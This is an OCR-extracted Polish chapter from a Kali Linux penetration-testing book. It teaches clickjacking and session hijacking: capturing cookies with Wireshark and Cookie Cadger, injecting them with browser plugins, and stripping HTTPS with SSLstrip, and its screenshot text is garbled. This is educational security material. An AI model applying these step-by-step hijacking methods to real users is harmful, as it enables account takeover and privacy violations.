Ataki na metody uwierzytelniania Uwierzytelnianie to proces potwierdzania tożsamości i uprawnień. Taki proces może obejmować potwierdzenie tożsamości użytkownika, programu czy urządzenia, na przykład potwierdzenie, że Ja n K ow alski jest pracownikiem rządowym lub że jego laptop został przygotowany i wydany przez odpowiednią agencję rządową. Z punktu widzenia pentestera uzyskanie danych po zwalających na nieautoryzowane przejście procesu uwierzytelniania i zdobycie w ten sposób „zaufania” atakowanego systemu jest bardzo pożądane i pozwala na ominięcie większości za bezpieczeń mających przecież chronić przed intruzami, a nie przed praworządnymi użyt kownikami systemu. Metodologia certyfikacji C IS S P (ang. C ertified Inform ation System s Security P rofessional) klasyfikuje uwierzytelnianie użytkowników w oparciu o trzy elementy: ■
Coś, co znasz, czyli na przykład kod P IN lub hasło dostępu.
■
Coś, co posiadasz, czyli na przykład token dynamicznie generujący kod dostępu.
■
Coś, co jest związane z Tobą, czyli na przykład odciski palców.
Najczęściej spotykaną metodą potwierdzania tożsamości użytkownika jest używanie czegoś, co powinien znać tylko ten użytkownik, czyli na przykład hasła dostępu. Jak pamiętasz, różne metody łamania haseł omawialiśmy w rozdziale 4., „Ataki na klienty aplikacji internetowych”. Złamanie hasła może pozwolić na uzyskanie nieautoryzowanego dostępu do wielu systemów, aczkolwiek coraz częściej spotyka się systemy wyposażone w mechanizmy uwierzytelniania wieloskładnikowego, w których potwierdzanie tożsamości użytkownika składa się z wielu etapów. Najczęściej stosowany sposób uwierzytelniania użytkownika wymaga podania nazwy konta i hasła dostępu. Jednak taka metoda staje się uciążliwa, jeżeli użytkownik loguje się do wielu różnych systemów i za każdym razem musi mozolnie wpisywać nazwę konta i hasło. Aby rozwiązać
fl
K a li L in u x . T e s ty p e n e tra c y jn e
ten problem, opracowana została metoda pojedynczego uwierzytelniania (SSO — ang. Single Sign-On), która polega na tym, że użytkownik loguje się tylko raz, do centralnego serwera uwierzytelniania, i po pomyślnym zalogowaniu może używać wszystkich innych autoryzowa nych systemów korzystających z usług tego serwera. Dzięki takiemu rozwiązaniu cały proces weryfikacji użytkownika i ewentualnie urządzeń, z których on korzysta, jest przeprowadzany jednorazowo. Po jego pomyślnym zakończeniu użytkownik uzyskuje dostęp do innych, zaufa nych systemów, bez konieczności każdorazowego przechodzenia uciążliwego procesu uwie rzytelniania. Często spotykanym przykładem takiego rozwiązania są kontrolery domen W in dows Active Directory, które weryfikują tożsamość użytkowników danej domeny i zapewniają dostęp do je j zasobów. Niestety, w takiej sytuacji przełamanie zabezpieczeń serwera uwie rzytelniającego czy uzyskanie nieautoryzowanego dostępu do konta użytkownika posiadające go wysokie uprawnienia (na przykład administratora systemu) oznacza, że potencjalny na pastnik automatycznie uzyskuje dostęp do wielu innych zasobów takiego środowiska. W iele agencji rządowych oprócz tradycyjnych haseł dostępu wykorzystuje dodatkowe rozwią zania, takie jak osobista weryfikacja tożsamości (PIV — ang. Personal Identity Verification) czy systemy z kartam i dostępu (CAC — ang. Com m on A ccess Card), czyli rozwiązania oparte na czymś, o czym użytkownik wie, i na czymś, co użytkownik posiada. Rozwiązaniem powszech nie stosowanym przez użytkowników pracujących zdalnie jest wykorzystywanie sprzętowych tokenów, generujących co kilkadziesiąt sekund nowy kilku- czy nawet kilkunastocyfrowy kod, który w połączeniu z PIN -em , znanym tylko użytkownikowi, zapewnia dostęp do systemu (w oparciu o coś, co użytkownik posiada, i o coś, co zna). W środowiskach wymagających szczególnej ochrony mogą być stosowane jeszcze inne, bardziej zaawansowane rozwiązania, takie jak skanery biometryczne (np. odciski palców) w połączeniu z osobistym kodem PIN użytkownika. Rozwiązania zabezpieczające dostęp do zasobów sieciowych mogą na przykład sprawdzać sposób, w jaki użytkownik zalogował się na swoim laptopie, lub sprawdzać, czy na danym urządzeniu jest zainstalowany specjalny, ukryty certyfikat potwierdzający jego auten tyczność i potwierdzający tożsamość użytkownika przed udzieleniem mu dostępu do chro nionych zasobów sieciowych. Z punktu widzenia pentestera szczegółowa identyfikacja metod uwierzytelniania użytkowników wykorzystywanych w środowisku celu jest jednym z kluczo wych elementów fazy rozpoznania, pozwalających na odpowiednie przygotowanie strategii ataku i ominięcie zabezpieczeń systemu (zobacz rysunki na następnej stronie). W tym rozdziale skoncentrujemy się na metodach wykorzystywanych do uwierzytelniania użytkowników i urządzeń w aplikacjach internetowych oraz na omawianiu sposobów przeła mywania takich zabezpieczeń. Rozpoczniemy od atakowania procesu zarządzania sesjami uwierzytelniania, który odpowiada za nawiązanie zaufanej sesji pomiędzy klientem i serwe rem. Następnie skoncentrujemy się na klientach i opowiemy o przeprowadzaniu ataków na sposoby przechowywania danych poprzez mechanizmy zarządzające ciasteczkami sesji. W dalszej części opowiemy, w jaki sposób ukryć się w sesji pomiędzy klientem a serwerem, wykorzy stując do tego celu ataki typu m an-in -the-m iddle. Na końcu tego rozdziału będą omówione zagadnienia związane z identyfikacją podatności i luk w zabezpieczeniach mechanizmów od powiadających za przesyłanie danych uwierzytelniających pomiędzy aplikacją i klientem oraz wykorzystywaniem takich luk za pomocą wstrzykiwania kodu SQ L i ataków typu X SS (ang. cross-site scripting).
194
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Ataki na zarządzanie sesjami Z punktu widzenia pentestera zagadnienia związane z uwierzytelnianiem i zarządzaniem sesja mi obejmują wszystkie aspekty potwierdzania tożsamości użytkownika i zarządzania aktywnymi sesjami. W odniesieniu do aplikacji internetowych sesja to czas, który użytkownik spędza na przeglądaniu danej witryny internetowej. Dobrą praktyką jest zarządzanie sesjami oparte na sposobach uwierzytelniania użytkowników i urządzeń, jak również na sprawdzaniu, jakie zasoby są przez nich (przez nie) wykorzystywane i przez jaki okres. Celem każdego pentestera jest identyfikacja kont użytkowników, którzy mają prawo nawiązy wania sesji z aplikacją internetową przy użyciu podniesionych uprawnień i przez nielimitowany okres. To właśnie ze względu na ten fakt opracowane zostały takie mechanizmy bezpieczeń stwa, jak wprowadzenie limitów czasu, po którym nieaktywna sesja traci ważność, czy wdroże nie certyfikatów SSL. Jednak bez względu na to narzędzia, które możesz znaleźć w systemie Kali Linux, są w stanie zidentyfikować potencjalnie słabe strony i luki w zabezpieczeniach mechanizmu zarządzania sesjami, takie jak możliwość przechwycenia identyfikatora sesji po wylogowaniu się użytkownika i wykorzystania tego identyfikatora do ustanowienia sesji dla innego użytkownika (ang. session fix ation attack). Do przeprowadzania ataków na zarządzanie sesjami mogą być wykorzystywane podatności i luki w zabezpieczeniach aplikacji oraz metodach dostępu i uwierzytelniania użytkowników. Poten cjalni napastnicy najczęściej stosują takie metody, jak iniekcje kodu SQL czy ataki typu XSS, o któ rych będziemy mówić w nieco dalszej części tego rozdziału. Napastnicy mogą również wyko rzystywać ciasteczka sesji, zapisywane przez przeglądarki, czy luki w zabezpieczeniach witryn internetowych. Nasze rozważania rozpoczniemy od omówienia technik pozwalających na przekonanie użytkowników do ujawnienia wrażliwych informacji czy wystawienia się na atak poprzez odpowiednie zmodyfikowanie hiperłączy i obiektów iFrame.
195
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Clickjacking C lickjacking (w wolnym tłumaczeniu: „porywanie kliknięć”) to technika polegająca na wpro wadzeniu użytkownika w przekonanie, że kliknął na stronie dany obiekt czy łącze, podczas gdy w rzeczywistości kliknął zupełnie inny obiekt podstawiony przez napastnika. C lickjacking może być wykorzystywany do pozyskiwania poufnych informacji, takich jak nazwa konta użytkownika i hasło, ale równie dobrze może posłużyć napastnikowi do przejęcia kontroli nad komputerem użytkownika. Technika ta zazwyczaj opiera się na wykorzystaniu błędów w za bezpieczeniach przeglądarki. D o tego celu używa się odpowiednio spreparowanego kodu lub skryptu, który jest wykonywany bez wiedzy użytkownika. Jednym z przykładów zastosowania techniki clickjackin g je st spreparowanie hiperłącza prowadzącego do dobrze znanej użytkow nikowi, zaufanej strony. Po kliknięciu tego hiperłącza użytkownik jest przenoszony na inną stronę, przygotowaną przez napastnika. Przeciętny użytkownik przed kliknięciem zazwyczaj nie sprawdza, dokąd prowadzi dane hipedącze, ani nie zauważa zmian, jakie wprowadza zastoso wanie techniki C lickjacking, co powoduje, że je st to bardzo efektywna forma ataku. W przykładzie, który przedstawiamy poniżej, użytkownik zobaczy na stronie łącze Visit us on Facebook.com , jednak kiedy kliknie takie łącze, zostanie przeniesiony na stronę www. b a d fa ceb o o k . com . Vis i t Us on Facebook.com C lickjackin g może być jednak o wiele bardziej złowieszczy i wyrafinowany niż przedstawiony przez nas prosty przykład modyfikacji łącza. Napastnicy do przeprowadzenia takiego ataku bardzo często wykorzystują odpowiednio spreparowany obiekt iFrame, który jest osadzany w kodzie strony internetowej. W kodzie ramki iFrame znajduje się łącze prowadzące na stronę przygo towaną przez napastnika, a sama ramka jest najczęściej przezroczysta i umieszczona na stro nie nad prawdziwym łączem, co powoduje, że jest niezmiernie trudna do wykrycia. Aby przygotować swój własny atak typu C lickjackin g , możesz użyć narzędzia napisanego przez Paula Stonea, które jest do pobrania na stronie http://www.contextis.com /research/tools/ clickjacking-tool/.
51context
L
J
SERVICES
ABOUT US
NEWS
OASIS
CONTACT US
IN FO RM A TIO N SECU R ITY
reaearch
• response
• assurance
RESEARCH SERVICES RECENT BLOG POSTS Java Pwm20wn
CLICKJACKING TOOL
Po zakończeniu pobierania i zainstalowaniu programu możesz użyć go do pobrania odpo wiedniego kodu z określonej strony internetowej (może to być na przykład kod generujący przycisk głosowania czy słynny już przycisk L u b ię to!). Program działa w Firefoksie w wersji 3.6 i niestety nie będzie działał poprawnie w nowszych w ersjach tej popularnej przeglądarki. Nie jest to jednak specjalne utrudnienie, ponieważ w systemie Kali Linux możesz uruchomić różne w ersje przeglądarki Firefox, włącznie z wersją 3.6 i starszymi.
196
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Kod źródłowy popularnych stron internetowych zazwyczaj szybko się zmienia. Przygotowując atak z wy korzystaniem techniki CUckjacking, powinieneś zwracać na to uwagę i odpowiednio dostosowywać swój kod do zmieniającego się oryginału.
Przechwytywanie ciasteczek sesji Ciasteczka (ang. cookies) to małe pliki danych przesyłane ze strony internetowej i zapisywane przez przeglądarkę na dysku lokalnym komputera użytkownika. Witryna internetowa może wykorzystywać ciasteczka do monitorowania odwiedzin użytkownika i sprawdzania jego ak tywności. Dzięki ciasteczkom witryna może sprawdzać, jakie inne strony odwiedzał użytkownik, jak logował się na stronie czy jakie klikał przyciski. Za każdym razem, kiedy logujesz się na witry nie internetowej, takiej jak Facebook, Gmail czy WordPress, Twoja przeglądarka zapisuje na Twoim dysku odpowiednie ciasteczko. Ciasteczka mogą śledzić aktywność użytkownika i jego zachowanie na stronie w długich okre sach, na przykład w ciągu roku. Mogą również przechowywać hasła i wartości, jakie użytkownik wpisywał w pola formularzy, takie jak na przykład adres czy numer karty kredytowej. Jest to bar dzo użyteczne w niektórych zastosowaniach i często ułatwia życie użytkownikowi. Token sesji jest dostarczany z serwera internetowego za każdym razem, kiedy klient połączy się z serwerem i pomyślnie dokona uwierzytelnienia. Token sesji jest wykorzystywany do rozpoznawania danej sesji wśród innych połączeń. Przechwytywanie sesji (ang. session hijacking) następuje w sytuacji, kiedy napastnikowi uda się przechwycić token sesji ofiary i przenieść go do sesji własnej przeglądarki — dzięki czemu uzyskuje dostęp do uwierzytelnionej już wcześniej sesji użytkowni ka będącego ofiarą ataku. Mówiąc w uproszczeniu, taki atak polega na zastąpieniu nieautory zowanego ciasteczka w przeglądarce napastnika autoryzowanym ciasteczkiem przechwyco nym z sesji ofiary. Ataki polegające na przechwytywaniu sesji podlegają jednak pewnym ograniczeniom: ■
Przechwytywanie ciasteczek nie ma większego sensu, gdy ofiara przegląda strony, których adres rozpoczyna się od https:// i połączenie między serwerem a klientem jest szyfrowane. Wdrażanie takiego szyfrowania odbywa się powoli, ale najlepiej zabezpieczone witryny internetowe używają właśnie takiego rozwiązania w celu uniemożliwienia przechwycenia sesji użytkownika.
Aby uniemożliwić ofierze ustanowienie szyfrowanego połączenia https, to zanim rozpoczniesz przechwytywa nie sesji bądź inny atak, użyj omawianego już wcześniej pakietu SSLstrip. Więcej szczegółowych infor macji na temat tego narzędzia znajdziesz w rozdziale 3., „Ataki na serwery aplikacji internetowych".
197
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
Większość ciasteczek traci ważność w momencie, kiedy użytkownik wylogowuje się z systemu, co oczywiście powoduje również wylogowanie z systemu napastnika. Warto jednak zauważyć, że wiele aplikacji mobilnych wykorzystuje ciasteczka, których ważność nigdy nie wygasa, co oznacza, że jeżeli napastnikowi uda się przechwycić token takiej sesji, to może uzyskać dostęp do aplikacji na prawach użytkownika bez żadnych ograniczeń czasowych.
Bardzo wiele witryn i aplikacji internetowych nie pozwala na jednoczesne utrzymywanie rów noległych sesji, co w pewnym sensie utrudnia wykorzystanie przechwyconych ciasteczek za wierających token sesji.
Narzędzia do przechwytywania sesji W kolejnym podrozdziale omówimy narzędzia przeznaczone do testów penetracyjnych sesji sieciowych. Niektórych z tych narzędzi nie znajdziesz w systemie Kali Linux 1.0, aczkolwiek bez większych problemów możesz je pobrać z internetu.
Wtyczki przeglądarki Firefox Jednym ze sposobów przechwycenia sesji jest kradzież ciasteczka uwierzytelniającego sesję ofiary. Najczęściej wykorzystywaną metodą osiągnięcia takiego celu jest wstrzyknięcie odpo wiednio przygotowanego skryptu na skompromitowany serwer aplikacji internetowych. Za daniem tego skryptu będzie przechwytywanie ciasteczek sesji bez wiedzy ofiary. Gdy napastnik umieści skrypt na serwerze, może rozpocząć gromadzenie takich ciasteczek. Wykorzystując narzędzie pozwalające na wstrzykiwanie ciasteczek (ang. c o o k ie in jector tool), napastnik może próbować podmienić nieautoryzowane ciasteczko swojej sesji na skradzione wcześniej, autoryzo wane ciasteczko uwierzytelniające ofiary. Innymi metodami wykorzystywanymi do wykrada nia ciasteczek jest nasłuchiwanie i przechwytywanie pakietów sieciowych czy uzyskiwanie nieautoryzowanego dostępu do hosta będącego klientem danej aplikacji internetowej. O wy kradaniu ciasteczek opowiemy jeszcze w dalszej części tego rozdziału. Istnieje bardzo dużo wtyczek do Firefoksa, które mogą być wykorzystywane do wstrzykiwania wykradzionych ciasteczek do przeglądarki napastnika. Przykładami mogą być takie wtyczki, jak Greasemonkey, Cookies M anager+ czy Firesheep. Ze względu na liczbę dostępnych wtyczek pozwalających na zarządzanie ciasteczkami powinieneś po prostu zajrzeć na witrynę z wtyczkami i dodatkami do Firefoksa i samodzielnie wybrać wtyczkę lub wtyczki, które najlepiej będą speł niały Twoje oczekiwania.
Pamiętaj, że zarówno przeglądarka Firefox, jak i wtyczki nie są domyślnie zainstalowane w systemie Kali Linux 1.0.
198
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Firesheep — wtyczka przeglądarki Firefox F iresheep to wtyczka przeglądarki Firefox, klasyczne narzędzie penetracyjne, przeznaczo ne do audytowania sesji WWW. Trzeba przyznać, że niektóre w ersje tej wtyczki w połącze niu z najnowszymi wydaniami Firefoksa zachowywały się niestabilnie. Firesheep działa jak program do nasłuchiwania pakietów sieciowych (ang. n etw ork sniffer), który pozwala na prze chwytywanie niezabezpieczonych ciasteczek sesji przesyłanych między serwerem a klientami w sieci.
Oficjalnie wtyczka Firesheep jest przygotowana do współpracy z przeglądarką Firefox na platformach Windows i MAC, co sprawia, że korzystanie z niej w systemie Linux jest nieco kłopotliwe. Oczywiście przy pewnej dozie samozaparcia można sprawić, że będzie działała poprawnie w przeglądarce Firefox w Linuksie, ale mimo to zdecydowanie polecamy korzystanie z innych narzędzi w tym systemie.
Web Developer — wtyczka przeglądarki Firefox Web Developer to wtyczka przeglądarki Firefox przeznaczona dla twórców witryn internetowych. Wtyczka ta oferuje narzędzia wspomagające edycję kodu, wyszukiwanie błędów i rozwiązy wanie problemów. Możesz ją pobrać z internetowego repozytorium wtyczek przeglądarki Firefox. Jedną z cech wtyczki Web Developer, pozwalających na je j zastosowanie do przechwytywania sesji, je st je j zdolność do edytowania zawartości ciasteczek. O pcję tę możesz znaleźć w menu przeglądarki po zainstalowaniu wtyczki, jak przedstawiono na rysunku poniżej:
Wybierz opcję View C o ok ie Inform ation — na ekranie pojawi się lista zapisanych ciasteczek. Teraz wybierz polecenie E dit C ookie, co spowoduje uruchomienie edytora ciasteczek i pozwoli na zastąpienie bieżącego ciasteczka wykradzionym ciasteczkiem ofiary.
199
K a li L in u x . T e s ty p e n e tra c y jn e
Greasemonkey — wtyczka przeglądarki Firefox j'n r A vsHb
Greasemonkey
Greasem onkey to wtyczka przeglądarki Firefox pozwalająca użytkownikowi na instalowanie skryptów, które umożliwiają zmianę zawartości przeglądanych stron internetowych „w locie”, przed lub po tym, jak strona wyświetli się w oknie przeglądarki. Greasemonkey może być wykorzystywany do dostosowywania wyglądu stron internetowych, zmiany sposobu działania funkcji WWW, debugowania, dołączania danych z innych stron internetowych itp. Wtyczka Greasemonkey jest niezbędna do tego, aby wiele innych narzędzi, takich jak Cookie Injector, działało poprawnie.
Cookie Injector — wtyczka przeglądarki Firefox Cookie In jecto r to skrypt użytkownika, który znakomicie upraszcza proces zarządzania cia steczkami przeglądarki. Ręczne zaimportowanie przechwyconego ciasteczka z programu ta kiego jak Wireshark do przeglądarki nie jest wcale takie trywialne i wymaga wykonania wielu operacji. Wtyczka Cookie Injector pozwala użytkownikowi na tworzenie ciasteczek sesji za pomocą prostego kopiowania i wklejania danych przechwyconych przez program Wireshark.
Aby wtyczka Cookie Injector mogła działać poprawnie, wymagane jest wcześniejsze zainstalowanie wtyczki Greasemonkey.
Poszukaj aktualnej wersji wtyczki Cookie Injector, korzystając np. z wyszukiwarki Google. Kiedy rozpoczniesz pobieranie, wyświetli się okno dialogowe wtyczki Greasemonkey, zawie rające prośbę o zgodę na zainstalowanie wtyczki Cookie Injector.
200
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
Cookie In jector' in sta lled su ccessfu lly .
Ok
|
X
v
Gdy wtyczka Cookie Injector zostanie zainstalowana, użyj kombinacji klawiszy lew y A lt+ C . Wy świetli się okno dialogowe — w polu tekstowym wklej ciąg znaków reprezentujący ciasteczko, pobrany z programu Wireshark, i kliknij przycisk OK, co spowoduje wstrzyknięcie ciasteczka do bieżącej strony. W podrozdziale poświęconym programowi Wireshark znajdziesz szcze gółowe informacje o tym, jak przy użyciu poleceń C opy, B ytes oraz Printable Text Only przy gotować dane dla wtyczki Cookie Injector. Na kolejnych dwóch rysunkach przedstawiono okno dialogowe, które pojawia się na ekranie po zastosowaniu kombinacji klawiszy lew y A lt+ C i wklejeniu zawartości ciasteczka w polu W ireshark C ookie Dump, oraz okno, które pojawia się na ekranie po zapisaniu ciasteczek przez przeglądarkę.
Wiresnark Cookie Pump: [■0289 Connection:
1
[ O K |r~Cancel
All Cookies H a ve B ee n W ritte n
I
Cookies Manager+
0K
I
wtyczka przeglądarki Firefox
Wtyczka Cookies M anager+ to narzędzie pozwalające na przeglądanie i edytowanie istnieją cych ciasteczek oraz tworzenie nowych. Cookies M anager+ wyświetla dokładne informacje o ciasteczkach i pozwala na edytowanie wielu ciasteczek jednocześnie. W tyczka ta umożliwia również tworzenie kopii zapasowych i odtwarzanie ciasteczek. Możesz ją pobrać z repozyto rium sieciowego wtyczek przeglądarki Firefox. Zainstalowaną wtyczkę możesz uruchomić, wybierając z menu głównego przeglądarki pole cenie T ools/C ookies M an ager+ (zobacz pierwszy rysunek na następnej stronie). Wtyczka Cookies M anager+ wyświetla listę wszystkich ciasteczek zapisanych przez przeglą darkę Firefox. Jeżeli chcesz znaleźć określone ciasteczko i przeglądać lub edytować jego za wartość, przewiń listę w górę lub w dół. W przykładzie, który przedstawiono poniżej, zaznaczone zostało ciasteczko powiązane z witryną w w w .thesecu rityblogger.com (zobacz drugi rysunek na następnej stronie).
20 1
K a li L in u x . T e s ty p e n e tra c y jn e
C o o k ie s M a n a g e r + v l . 5 . 1 . 1 [ s h o w in g 7 o f 2 3 1 , F ile
E d it
S ea rch : □
V ie w
T o o ls
th e s e c u rity b lo g g e r|
R e fre sh
S ite t h e s e c u rity b lo g g e r.c o m
m
man
H e lp
u tm z
w w w .t h e s e c u r it y b lo q q e r .c o m
w w w .th esecurityblo qqer.com
u tm li
w p -s e ttin q s -1
Nam e: w p - s e ttin g s - 1 e d ito r% 3 D tin ym ce % 26 m 0 % 3 D c % 2 6 m ll% 3 Do% 26n H ost
w w w .th e s e c u rity b lo g g e r .c o m
P ath:
f A n y ty p e o f c o n n e c tio n S a t 1 0 M a y 2 0 1 4 0 9 : 0 1 : 4 0 PM E D T
A dd
E dit
D e le te
W ilt expire it C lo se
Wtyczka Cookies Manager+ umożliwia łatwe edytowanie zawartości ciasteczek, co znakomicie ułatwia przeprowadzanie różnego rodzaju ataków, takich jak przechwytywanie sesji czy wstrzyki wanie kodu SQL.
202
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
|
Cookie Cadger COOKIE CADGER Pakiet Cookie Cadger to narzędzie penetracyjne, przeznaczone do audytowania sesji siecio wych WWW. Narzędzie to pozwala na przechwytywanie, analizowanie i przekazywanie nieszyfrowanych żądań H TTP GET. Cookie Cadger umożliwia analizę ruchu zarówno w sieciach bezprzewodowych, jak i kablowych, ale możesz również załadować do niego plik zawierający zestaw przechwyconych pakietów w formacie PCAP Program Cookie Cadger posiada rów nież mechanizm pozwalający na wykrywanie, czy użytkownik zalogował się do serwisów ta kich jak WordPress czy Facebook. Niektórzy uważają, że Cookie Cadger to po prostu wtyczka Firesheep na sterydach.
Pakiet Cookie Cadger nie jest domyślnie instalowany w systemie Kali Linux 1.0.
Program Cookie Cadger możesz pobrać ze strony http s://w w w .cookiecad g er.com /. In stalator programu ma postać pliku JAR. Możesz go uruchomić, klikając go dwukrotnie lewym przyci skiem myszy. Na ekranie pojawi się okno dialogowe z pytaniem, czy chcesz włączyć opcję wykrywania sesji. Kliknij przycisk Yes. Wyświetli się główne okno programu. Oba okna dialo gowe zostały przedstawione na kolejnych dwóch rysunkach.
203
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Aby rozpocząć korzystanie z programu, wybierz z listy odpowiedni interfejs sieciowy i kliknij przycisk Start Capture. Program Cookie Cadger pozwala na używanie wielu interfejsów sie ciowych (o ile oczywiście dany system jest w takie wyposażony). Cookie Cadger potrafi rozpoznać niemal wszystkie urządzenia w danej sieci. Na przykład na ry sunku przedstawionym poniżej możemy zobaczyć, że Cookie Cadger znalazł maszynę działa jącą pod kontrolą systemu Linux na platformie i686, na której uruchomione są przeglądarki Firefox i Iceweasel.
Najnowsze dane o aktywnej sesji są wyświetlane w kolorze niebieskim. W przypadku każdej sesji możesz przeglądać szczegółowe informacje na temat odwiedzanych przez klienta witryn, takie jak nazwa NetBIOS urządzenia czy nazwa hosta. Przechwycone żądania możesz kopiować, możesz pobierać z nich takie informacje, jak dane o użytkownikach czy adresy MAC. W każdej sekcji znajdziesz karty filtrów, za pomocą których możesz skoncentrować swoje poszukiwania tylko na wybranych hostach (na przykład wyświetlać tylko wyniki dotyczące domen serwisu Facebook).
204
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
Za każdym razem, kiedy Cookie Cadger rozpozna sesję logowania, jest ona automatycznie prze chwytywana i możesz ją później załadować do przeglądarki w celu dokładniejszej analizy. Na kolejnym rysunku przedstawiono przechwyconą sesję logowania administratora do serwisu w w w .thesecu rityblogger.com . C ookie Cadger wyświetla ikonę serwisu oraz informacje o typie przechwyconej sesji. M oże to być na przykład logowanie do serwisu Hotmail, Facebook czy, jak w tym przypadku, WordPress.
Aby wyświetlić rozpoznane i przechwycone sesje, przejdź na kartę R ecognized Sessions i zaznacz żądaną sesję, jak przedstawiono na poprzednim rysunku. Po zaznaczeniu sesji kliknij przycisk L oad Selected Session, co spowoduje jej załadowanie i odtworzenie. W dolnej części okna pojawi się komunikat L oading request into browser, please w ait.. . , następnie program Cookie Cadger uru chomi przeglądarkę i załaduje do niej wybraną, przechwyconą sesję logowania. Na kolejnym rysunku przedstawiono otwieranie ciasteczka domenowego, przechwyconego z sesji ofiary. Gdy zakończy się ładowanie, w oknie przeglądarki pojawi się przechwycona strona internetowa otwarta na takich prawach, na jakie pozwala wykradzione ciasteczko sesji.
Aby wyświetlić informacje o żądaniach z danej sesji, kliknij ikonę przechwyconej sesji pra wym przyciskiem myszy i z menu podręcznego wybierz polecenie View A ssociated R equest.
205
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Po wybraniu tego polecenia zostaniesz przeniesiony na kartę R equests, gdzie będziesz mógł przeglądać zawartość sesji.
Wireshark
_____ s
l
W ireshark to jed en z najpopularniejszych, bezpłatnych i otwartych (open source) analizato rów pakietów sieciowych. Pakiet Wireshark jest preinstalowany w systemie Kali Linux. To idealne narzędzie do wyszukiwania i diagnozowania problemów z połączeniami sieciowymi oraz do analizowania pakietów. Z naszego punktu widzenia jest to również świetne narzędzie do monitorowania ruchu sieciowego generowanego przez interesujące nas hosty i do prze chwytywania ciasteczek zawierających tokeny sesji. Graficzny interfejs użytkownika pakietu Wireshark został zaimplementowany przy użyciu bibliotek G T K + , a do przechwytywania pa kietów wykorzystywana jest biblioteka pcap . Program działa podobnie jak polecenie tcpdump, aczkolwiek dodatkowo oferuje użytkownikowi wygodny, graficzny interfejs zintegrowany z rozbu dowanymi mechanizmami sortowania i filtrowania pakietów. Aby uruchomić program Wireshark, w menu głównym systemu Kali Linux przejdź do grupy K ali Linux, a następnie wybierz polecenie Sniffing/Spoofing/N etw ork S niffers/w ireshark. Pro gram Wireshark możesz również znaleźć w menu K ali Linux/Top 10 Security Tools.
206
R o z d z ia ł 5. • A ta k i na m e to d y u w ie rzy te ln ia n ia
fl
Aby rozpocząć przechwytywanie ruchu sieciowego, z menu głównego wybierz polecenie Capture/Interfaces. Na ekranie pojawi się okno dialogowe W ireshark: Capture Interfaces, gdzie znajdziesz listę dostępnych interfejsów sieciowych. W naszym przypadku zaznaczymy interfejs eth0. Po wybraniu interfejsu sieciowego kliknij przycisk Start.
Ruch sieciowy nie będzie przechwytywany, jeżeli wybrany interfejs sieciowy nie obsługuje trybu nasłu chiwania (ang. promiscuous m ode lub jeżeli Twój system operacyjny nie potrafi przełączyć interfejsu sieciowego na taki tryb pracy. Więcej szczegółowych informacji na temat różnych trybów przechwyty wania pakietów sieciowych oraz wyszukiwania błędów i rozwiązywania problemów znajdziesz na stronie http://www. wireshark. org/.
W ire s h a rk : C a p tu re In te rfa ce s D e v ic e
0
D e s c rip tio n
fS e th O
IP
P a c k e ts
1 7 2 .1 6 .7 6 .1 3 1
5
P a c k e ts /s
fe?l n fL o g L in u x n e tfiL te r Log (N F L O G ) in te r fa c e □ □
any
P s e u d o -d e v ic e t h a t c a p tu re s o n a ll in te r fa c e s
É S lo
H e lp
1 2 7 . 0 . 0 .1
S ta r t
5 to p
O p tio n s
C lo s e
Wireshark przechwytuje cały ruch sieciowy, jaki dociera do wybranego interfejsu. Przechwy cone pakiety mogą być filtrowane za pomocą odpowiednich wzorców wpisywanych w polu Filter lub poprzez sortowanie danych według poszczególnych kolumn tabeli, takich jak Protocol czy Destinations.
207
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Ponieważ Wireshark przechwytuje ogromną ilość danych, odpowiednie filtrowanie staje się nie zmiernie ważnym zadaniem i pozwala na szybkie wyszukiwanie określonych informacji, takich jak niezabezpieczone ciasteczka (ang. unsecured cookies). Na przykład połączenia z pocztą Gmail są domyślnie szyfrowane, aczkolwiek zawsze możesz spróbować wyłączyć https i poszukać w cia steczkach parametru GX, który pozwala na zidentyfikowanie niezabezpieczonych ciasteczek serwisu Gmail. Na kolejnym rysunku przedstawiono wygląd okna programu Wireshark, który przechwycił ciasteczko z sesji logowania do bloga WordPress. F ilt e r : Ih t tp .c o o k ie N u.
T im «
2 1 2 7 0 5 .7 0 1 1 2 2 0 0 0
E x p re s s io n .. .
1 O S u til LH
D w k lir id liu ii
C le a r
HTTP
31
A p Ly
Pi u lu L u l
Save
L e n y lh
In fo
7 6 6 GET /wp-admin/ HTTP/1.1
944 GET
66.509259000
31
»
HTTP
2 1 4 3 6 7 .1 4 6 0 2 8 0 0 0
31
»
HTTP
1 0 4 8 GET / w p - a d n u n / c s s / w p - a d ir u n . e n n . c s s T v e r
2 1 6 4 6 7 .2 2 8 8 4 8 0 0 0
31
»
HTTP
1 0 4 9 GET / w p - i n c l u d e s / c s s / b u t t o n s . m i n . c s s ? v -
2 1 7 5 6 7 .2 6 3 9 3 8 0 0 0
31
»
HTTP
10 5 1 GET /w p a d m in / c s s / c o l o r s
2 1 7 9 6 7 .2 7 1 6 1 8 0 0 0
31
»
HTTP
2 1 8 5 6 7 .2 8 2 4 8 7 0 0 0
31
»
HTTP
1 0 3 7 GET / w p - i n c l u d e s / j s / s w f o b j e c t . j s ? v e r = 2 1 0 3 5 GET / w p - i n c l u d e s / j s / j q u e r y / j q u e r y . js ? v -
2 1 8 9 6 7 .2 8 2 9 3 9 0 0 0
31
»
HTTP
1 0 5 2 GET / w p - c o n t e n t / p l u g i n s / l - f l a s h - g a l l e r
2133
/w p - lo g in .p h p ? r e d i r e c t _ t o ^ it t p \ 3 A V
J I
fr e s h .n u n .c s s
2 1 9 1 6 7 .2 8 3 3 7 8 0 0 0
31
»
HTTP
1 0 6 4 GET / w p - c o n t e n t / p l u g i n s / 1 - f l a s h
2 2 0 9 6 7 .3 5 2 1 1 3 0 0 0
31
»
1 0 4 8 GET / w p - c o n t e n t / p l u g i n s / g d - s t a r - r a t i n g
2 2 1 5 6 7 .3 5 9 7 8 2 0 0 0
31
»
HTTP HTTP
g a lle r
